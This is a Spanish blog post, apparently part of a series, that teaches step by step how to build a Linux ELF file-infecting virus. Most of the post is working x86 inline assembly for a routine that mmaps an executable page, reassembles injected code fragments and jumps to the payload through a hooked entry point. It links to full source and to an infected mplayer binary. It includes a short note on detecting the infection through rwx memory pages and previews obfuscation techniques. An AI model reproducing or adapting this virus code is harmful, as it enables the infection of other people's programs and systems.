Ya que he identificado este trozo de código como el comienzo de la rutina de reensamblado en sí, he aprovechado para inicializar la bandera de dirección mediante la instrucción cld que nos asegurará que a partir de ahora todas las instrucciones de tipo rep algo (que utilizaré para copiar los trozos de un sitio a otro) avanzarán "hacia adelante". El comportamiento más razonable aquí, vaya.
Volviendo al mmap, la dirección de la página acabará en %eax. Debemos comprobar que la reserva se hizo correctamente, porque de fallar, eso derivaría en un acceso incorrecto a memoria con el sospechoso SIGSEGV que eso conlleva. Para realizar esto, basta con comprobar que los últimos 12 bits del valor de retorno sean distintos de 0. Cuando mmap hace correctamente su trabajo, devuelve una dirección alineada a la página, o sea que cualquier valor distinto de 0 en esos 12 bits menos significativos es un claro indicativo de que algo no ha ido bien.
Lo mejor que podemos hacer cuando mmap ha fallado es devolver el control al programa. Nótese que la operación de retorno (popf, popa y ret) es la misma, por lo que considero conveniente separarla en un pedazo de código que etiquetaré como boot_normal, y así evitamos repetirlo cuando tengamos que devolver el control más adelante. Para que el código de reensamblado sea lo más contiguo posible (tanto por razones de eficiencia como de legibilidad), colocaré esta función antes del mmap. Tras concluir el punto 2, en nuestro código tenemos esto:
asm ("\n\ frag_entry: \n\ push $" STRINGIFY (NOT_INFECTED_MAGIC) "\n\ pusha \n\ pushf \n\ jmp reassemble \n\ \n\ boot_normal: \n\ popf \n\ popa \n\ ret \n\ \n\ reassemble: \n\ cld \n\ mov $4096, %ecx \n\ mov $0x7, %edx \n\ mov $0x22, %esi \n\ mov $0xc0, %eax \n\ int $0x80 \n\ test $0xfff, %eax \n\ jnz boot_normal \n\
El paso tres contiene la primera copia en sí, y para ello tenemos que leer la información contenida en esos dos punteros (el tamaño de la zona contigua y el puntero al siguiente fragmento). Como estos enteros están en el código, vamos a tener que direccionarlos desde el %eip. Sin embargo, esto no se puede hacer directamente en x86, así que vamos a tener que copiar el %eip en otro registro y direccionar partir de él. Esto ya se vió en la primera entrega, y el procedimiento es muy simple: hacemos un call a la siguiente instrucción y acto seguido un pop. Lo que extraemos de la pila es la dirección donde se encuentra ese pop.
Utilizando el mismo argumento de la contigüidad y legibilidad, he optado por dedicar un pequeño trocito de código antes de reassemble, haciendo que %ebp apunte al principio del código:
asm ("\n\ frag_entry: \n\ push $" STRINGIFY (NOT_INFECTED_MAGIC) "\n\ pusha \n\ pushf \n\ call base_ref \n\ \n\ base_ref: \n\ pop %ebp \n\ sub $0x18, %ebp\n\ jmp reassemble \n\ \n\ boot_normal: \n\ popf \n\ popa \n\ ret \n\ \n\ reassemble: \n\ cld \n\ mov $4096, %ecx \n\ mov $0x7, %edx \n\ mov $0x22, %esi \n\ mov $0xc0, %eax \n\ int $0x80 \n\ test $0xfff, %eax \n\ jnz boot_normal \n\
Como en %ebp tengo la dirección del pop, he de restarle cierto desplazamiento para ajustarlo al principio del código. Este desplazamiento es un valor experimental, es decir, he tenido que compilar el código, ver dónde se generaba el pop y modificar el código después.
A partir de aquí, es bueno que sigamos ciertas reglas sobre el uso registros. No tenemos muchos, y no podemos permitirnos utilizarlos con total libertad. Yo he utilizado el siguiente convenio:
%eax: acumulador, registro de propósito general.
%ebx: no se usa (no hizo falta).
%ecx: contador para la instrucción rep.
%edx: dirección devuelta por mmap, para saltar después.
%esi: puntero al trozo que se está copiando.
%edi: puntero al lugar donde se copiará el siguiente trozo.
%ebp: puntero al inicio de la zona contigua.
Con estas consideraciones en mente, podemos ir inicializando los registros %edx y %edi:
mov %eax, %edi \n\ mov %eax, %edx \n\
Recordemos que la zona contigua empieza en %ebp y su tamaño viene especificado por el entero ubicado en 4(%ebp) (4 bytes desde el inicio de la zona contigua). La dirección del siguiente trozo se puede ir guardando en %eax. Moviendo %ebp a %esi, y metiendo en %ecx el entero en 4(%ebp), ya podemos hacer la copia de la zona contigua mediante rep movsb:
mov %ebp, %esi \n\ mov 4(%ebp), %ecx \n\ mov 8(%ebp), %eax \n\ rep movsb \n\
Y listo. En %eax tenemos el desplazamiento hacia atrás respecto al %ebp del siguiente trozo, y en %edi (cortesía del funcionamiento de rep movsb) la dirección dentro de la página reservada inmediatamente posterior a la zona contigua copiada.
El punto 4 vuelve a elevar la complejidad: tenemos que restar %eax a %ebp para saber dónde empieza el siguiente trozo, y de él extraer su tamaño y la dirección del siguiente. Debemos recordar que los trozos están encabezados por un entero cuyos 32 bits se agrupan tal que así:
31 | 30 | 29 | 28 | 27 | 26 | 25 | 24 | 23 | 22 | 21 | 20 | 19 | 18 | 17 | 16 | 15 | 14 | 13 | 12 | 11 | 10 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
Desplazamiento desde la brecha al siguiente trozo | Tamaño del trozo |
Indicando un desplazamiento 0 el último trozo. Para trabajar con esta cabecera -que iremos almacenando en %eax- vamos a tener que hacer un poco de aritmética binaria.
Teniendo esta distribución de bits, podemos ver que el tamaño del trozo va a ser siempre menor que 256, por lo que para usar rep podremos usar el registro %cl cercionándonos previamente que el resto de bits de %ecx están a 0. Para calcular el siguiente trozo, tendremos que utilizar la instrucción shr (shift right) para extraer el desplazmiento y restárselo a %ebp para calcular la dirección real de dicho trozo. Debemos también tener en cuenta que debemos sumar 4 a %esi para evitar copiar la cabecera. Esto se codificará como un bucle de la siguiente forma:
mov %ebp, %esi \n\ sub %eax, %esi \n\ \n\ xor %ecx, %ecx \n\ \n\ assembler: \n\ mov 0(%esi), %eax \n\ movb %al, %cl \n\ add $4, %esi \n\ rep movsb \n\ shr $8, %eax \n\ jz no_more_chunks \n\ mov %ebp, %esi \n\ sub %eax, %esi \n\ jmp assembler \n\ \n\ no_more_chunks: \n\
Esta era la parte más complicada de la rutina de reensamblado. A cada iteración, %edi se irá incrementando poco a poco, mientras que %esi y %ecx se irán construyendo a partir de %eax. Cuando no se encuentren más trozos (desplazamiento = 0) se saltará a no_more_chunks, que nos llevará al siguiente punto.
El quinto punto tan sólo ha de saltar al código ensamblado, el cual debería tener un punto de entrada diferente al que hemos seguido, y el sexto puede implementarse directamente a la vuelta del quinto. Para esto, he escrito otro trozo de código al que llamé assembled_entry (entrada ensamblada, cuyo desplazamiento he calculado experimentalmente de nuevo) que hace la llamada a _start, y que al colocarlo justo antes de boot_normal aprovecha toda la operación de retorno que ya habíamos implementado. Esto nos permite concluir el código:
asm ("\n\ frag_entry: \n\ push $" STRINGIFY (NOT_INFECTED_MAGIC) "\n\ pusha \n\ pushf \n\ call base_ref \n\ \n\ base_ref: \n\ pop %ebp \n\ sub $0x18, %ebp\n\ jmp reassemble \n\ \n\ assembled_entry: \n\ call _start \n\ \n\ boot_normal: \n\ popf \n\ popa \n\ ret \n\ \n\ reassemble: \n\ cld \n\ mov $4096, %ecx \n\ mov $0x7, %edx \n\ mov $0x22, %esi \n\ mov $0xc0, %eax \n\ int $0x80 \n\ test $0xfff, %eax \n\ jnz boot_normal \n\ mov %eax, %edi \n\ mov %eax, %edx \n\ mov %ebp, %esi \n\ mov 4(%ebp), %ecx \n\ mov 8(%ebp), %eax \n\ rep movsb \n\ \n\ mov %ebp, %esi \n\ sub %eax, %esi \n\ \n\ xor %ecx, %ecx \n\ \n\ assembler: \n\ mov 0(%esi), %eax \n\ movb %al, %cl \n\ add $4, %esi \n\ rep movsb \n\ shr $8, %eax \n\ jz no_more_chunks \n\ mov %ebp, %esi \n\ sub %eax, %esi \n\ jmp assembler \n\ \n\ no_more_chunks: \n\ mov %edx, %eax \n\ add $30, %eax /* Desplazamiento al punto de entrada del código ensamblado */\n\ jmp *%eax \n\ \n\ ");
Que, junto cierto código de modificación del punto de entrada -que no repito aquí por haberse visto ya al principio de esta entrega- hacen nuestra infección segmentada totalmente funcional. El código completo se puede ver aquí:
Infección segmentada y EP hooking:
Y así mismo incluyo una copia de la rutina en ensamblador fuera del dichoso inline assembly en C, comentando detalladamente cada paso. También se puede bajar una copia de un mplayer infectado que reensambla el código inyectado aquí.
Además del mensaje que vemos cuando ejecutamos mplayer:
% ./victim ~/Documents/Multimedia/Audio/Mike\ Oldfield\ -\ Heaven\'s\ Open/*.mp3 ITS THE AWAKENING OF AKIRA! PREPARE YOUR HEARTS! MPlayer SVN-r1.0~rc3+svn20090426-4.4.3 (C) 2000-2009 MPlayer Team mplayer: could not connect to socket (...)
Podemos detectar los rastros de la infección buscando páginas de lectura / escritura / ejecución. Mientras que un mplayer normal sólo tiene un par de ellas:
% pmap 16743 | grep rwx 00174000 20K rwx-- /usr/lib/mesa/libGL.so.1.2 00179000 4K rwx-- [ anon ]
Un mplayer infectado exhibe una más:
% pmap 16492 | grep rwx 0039d000 4K rwx-- [ anon ] 00abe000 20K rwx-- /usr/lib/mesa/libGL.so.1.2 00ac3000 4K rwx-- [ anon ]
Que es precisamente donde se guarda el código reensamblado. La ocultación estos rastros y algunos trucos más serán la temática principal de la siguiente entrega (antidebug y otras técnicas de ofuscación), donde analizaremos cómo un experto en seguridad podría sospechar de la infección de un binario, y si bien admitiré que aquí el experto siempre gana, veremos de qué formas esta especie de batalla mental contra el autor del virus se puede alargar más de lo debido.
¡Hasta la próxima entrega!
-------------------------------------
- Infección de ejecutables en Linux: ELF y código PIC (1/6)
- Infección de ejecutables en Linux: Técnicas de inyección (2/6)
- Infección de ejecutables en Linux: activación (3/6)
- Infección de ejecutables en Linux: técnicas de anti-debug en frío (4/6)
- Infección de ejecutables en Linux: técnicas de anti-debug en caliente (5/6)
- Infección de ejecutables en Linux: Técnicas de inyección (2/6)
- Infección de ejecutables en Linux: activación (3/6)
- Infección de ejecutables en Linux: técnicas de anti-debug en frío (4/6)
- Infección de ejecutables en Linux: técnicas de anti-debug en caliente (5/6)
Artículo cortesía de BatchDrake
3 comments :
Genial esta serie. Un 10
Vaya crack, Lo apunto para poder leermelo con calma.
Muy buen aporte.
Un saludo.
Grande Batch! tercera entrega y ya con ganas de la cuarta! muy bueno!
Publicar un comentario